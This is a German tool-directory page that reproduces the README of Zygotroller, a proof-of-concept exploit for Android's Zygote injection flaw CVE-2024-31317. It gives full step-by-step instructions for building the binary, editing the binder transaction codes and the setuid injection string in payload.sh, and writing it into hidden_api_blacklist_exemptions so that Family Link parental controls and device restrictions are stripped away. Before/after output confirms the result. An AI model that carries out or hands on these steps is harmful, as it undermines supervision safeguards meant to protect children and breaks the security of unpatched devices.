Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Zygotroller — Entfernen Sie Android-Profilinhaber/Family Link mit CVE-2024-31317 | Kitploit
Tools/GitHubGitHub/rifting/zygotroller
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationMobile SicherheitPayload-Entwicklung
GitHubrifting/zygotroller

Zygotroller

Entfernen Sie Android-Profilinhaber/Family Link mit CVE-2024-31317

Repository anzeigen
41vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Zygotroller

Entfernen von Profilbesitzern/Family Link auf JEDEM Gerät mit Entwicklermodus vor Juni 2024 (Android 12+)

Zygotroller ist ein Proof-of-Concept, das mit dem Zygote-Injection-Bug von CVE-2024-31317 einen Profilbesitzer und zugehörige Einschränkungen entfernen kann. Es erfordert den Entwicklermodus und dass der letzte Sicherheitspatch vor Juni 2024 liegt.

Googles Kindersicherungssystem Family Link wird in diesem Repo als Beispiel gezeigt.

Verwendung

Sie benötigen ein einigermaßen modernes Gerät mit einer Debian-basierten Distribution, um Zygotroller zu kompilieren. Vorgefertigte Binärdateien können je nach Lesezeitpunkt verfügbar sein oder auch nicht.

Leider hängt dies von internen Teilen von Android ab, daher müssen Sie den gesamten Android-Quellcode klonen, um Zygotroller zu bauen. Stellen Sie sicher, dass Sie mindestens 400 GB freien Speicherplatz haben, obwohl Sie wahrscheinlich weniger benötigen.

WICHTIG BEI VERWENDUNG VON WSL: Stellen Sie sicher, dass Sie VIEL Swap haben, sonst stürzt WSL ab. Ich persönlich habe 32G verwendet:

root@kitploit:~
sudo fallocate -l 32G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

Nun zum Klonen des AOSP-Quellcodes:

root@kitploit:~
mkdir ~/aosp
cd ~/aosp

repo init --partial-clone --no-use-superproject -b android-latest-release -u https://android.googlesource.com/platform/manifest

repo sync -c -j8 (kann aufgrund von Ratenbegrenzungen mehrere Versuche erfordern)

source build/envsetup.sh

lunch aosp_cf_arm64_only_phone-aosp_current-eng (wenn Sie dies auf einem Emulator testen, ändern Sie arm64 zu x86_64)

cd ~/aosp/external

git clone https://github.com/rifting/Zygotroller

cd Zygotroller

Jetzt müssen wir die Werte im Skript auf unseren tatsächlichen Profilbesitzer und Opcode für clearProfileOwner ändern. Der Profilbesitzer kann entweder im Google-Play-Dienste-Paket "supervision" oder in den Google-Play-Diensten selbst sein. Führen Sie dpm list-owners aus, mein Ergebnis war wie folgt:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner

Dies gibt uns zwei Informationen, die wir für Zygotroller benötigen: den Paketnamen (com.google.android.gms.supervision) und den Klassennamen (com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver).

Bearbeiten Sie zygotroll.cpp mit Ihrem bevorzugten Texteditor und aktualisieren Sie diese Zeilen auf Ihre Profilbesitzer-Komponente:

root@kitploit:~
    // Family Link profile owner
    std::string pkg = "com.google.android.gms.supervision";
    std::string cls = "com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver";

Jetzt müssen Sie den Opcode für die clearProfileOwner-Funktion von DPM finden. Bei mir war es "91", aber es variiert je nach Version/Typ von Android, die Sie verwenden. Um den Opcode für clearProfileOwner zu erhalten, habe ich android-svc mit folgendem Befehl verwendet:

android-svc convert 'android.app.admin.IDevicePolicyManager.clearProfileOwner("dummy")'

Die Zahl, die Sie in der Ausgabe sehen, ist der Opcode für clearProfileOwner. Öffnen Sie zygotroll.cpp erneut mit Ihrem bevorzugten Texteditor und bearbeiten Sie die Zahl hier zu Ihrem tatsächlichen Opcode:

root@kitploit:~
    // Transaction code 91 was ClearProfileOwner for my device
    dpm->transact(91, data, &reply);

Das Gleiche möchten Sie mit setUserRestriction tun:

root@kitploit:~
// Transaction code 132 was setUserRestriction for my device
dpm->transact(132, data2, &reply2);

Jetzt müssen wir zygotroller kompilieren:

mm

Dies kann bei der ersten Erstellung SEHR lange dauern, spätere Builds dauern auf den meisten modernen Maschinen <1m.

Finden Sie Ihre Binärdatei in ~/aosp/out/target/product/vsoc_x86_64_only/system/bin/zygotroller

Jetzt müssen wir eine App erstellen, die diese Binärdatei als "Shared Library" enthält, die eigentlich nur die Zygotroller-Binärdatei ist, damit SELinux uns die Ausführung erlaubt. Sie können dafür mein "CopyNativeLib"-Repo verwenden:

git clone https://github.com/rifting/CopyNativeLib.git

Benennen Sie dann Ihre Zygotroller-Binärdatei in libzygotroller.so um und legen Sie sie in app/src/main/jniLibs/arm64-v8a ab (ich gehe davon aus, dass dies die Architektur Ihres Telefons ist). Bauen Sie die APK in Android Studio und installieren Sie sie auf Ihrem Gerät mit adb install.

Der Family-Link-Profilbesitzer hatte bei mir die Benutzer-ID 10090, auch bekannt als u0_a90 Do dumpsys package com.google.android.gms.supervision | grep userId=

Schauen Sie sich nun payload.sh an, in dieser Zeile:

inject='\n--setuid=10090...

Ändern Sie die UID hier von 10090 auf Ihre UID aus dem dumpsys-Befehl. Wenn es die gleiche ID ist, lassen Sie es.

Schauen Sie etwas weiter in dieser Zeile und Sie werden sehen:

...echo zYg0te $(LD_LIBRARY_PATH=[path to your native lib] [path to your native lib])...

(drei Punkte dienen zur Darstellung der Kürzung)

Sie müssen diese durch die Pfade zu der nativen Bibliothek ersetzen, die Sie gerade auf dem Gerät installiert haben. Führen Sie pm path com.rifting.copynativelib aus. Der Pfad zur Datei ist das übergeordnete Verzeichnis der APK, das als Ausgabe des Befehls angezeigt wird, plus lib/arm64-v8a/libzygotroller.so. LD_LIBRARY_PATH muss das Verzeichnis der Bibliothek sein, und dann sollte der tatsächliche Pfad zur Bibliothek danach kommen. Diese Zeile wird dann ungefähr so aussehen:

...echo zYg0te $(LD_LIBRARY_PATH=/data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/ /data/app/~~IQhIf-M_9eLGoJ-Wd-qaCA==/com.rifting.copynativelib-a6N1upfA-_Trjh_cPCHngA==/lib/x86_64/libreal.so)...

Sie sind fast am Ziel! Übertragen Sie diese Datei nach /data/local/tmp

adb push payload.sh /data/local/tmp

Setzen Sie Berechtigungen:

chmod +x /data/local/tmp/payload.sh

Und schließlich senden Sie die Ausgabe in hidden_api_blacklist_exemptions!

settings put global hidden_api_blacklist_exemptions "$(sh ./payload.sh)"

Setzen Sie dies nun auf "0", um eine Bootschleife zu vermeiden :)

settings put global hidden_api_blacklist_exemptions 0

Sie sollten sehen, dass der Family-Link-Profilbesitzer und alle zugehörigen Einschränkungen entfernt wurden. Gehen Sie zu den Einstellungen und verwalten Sie Konten, und entfernen Sie das beaufsichtigte Konto vom Gerät. Herzlichen Glückwunsch!

Before:

root@kitploit:~
$ dpm list-owners
1 owner:
User  0: admin=com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,ProfileOwner
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions>
    <restrictions_user user_id="0">
      <restrictions no_factory_reset="true" no_config_location="true" no_add_clone_profile="true" no_safe_boot="true" no_config_credentials="true" no_config_date_time="true" />
    </restrictions_user>
  </device_policy_local_restrictions>
...

After:

root@kitploit:~
$ dpm list-owners
no owners
emu64xa:/ $
root@kitploit:~
$ abx2xml /data/system/users/0.xml -
...
<device_policy_local_restrictions />
...

Besonderer Dank

gburca für BinderDemo

LLeaves' großartiger Blog über diese CVE

Tool herunterladen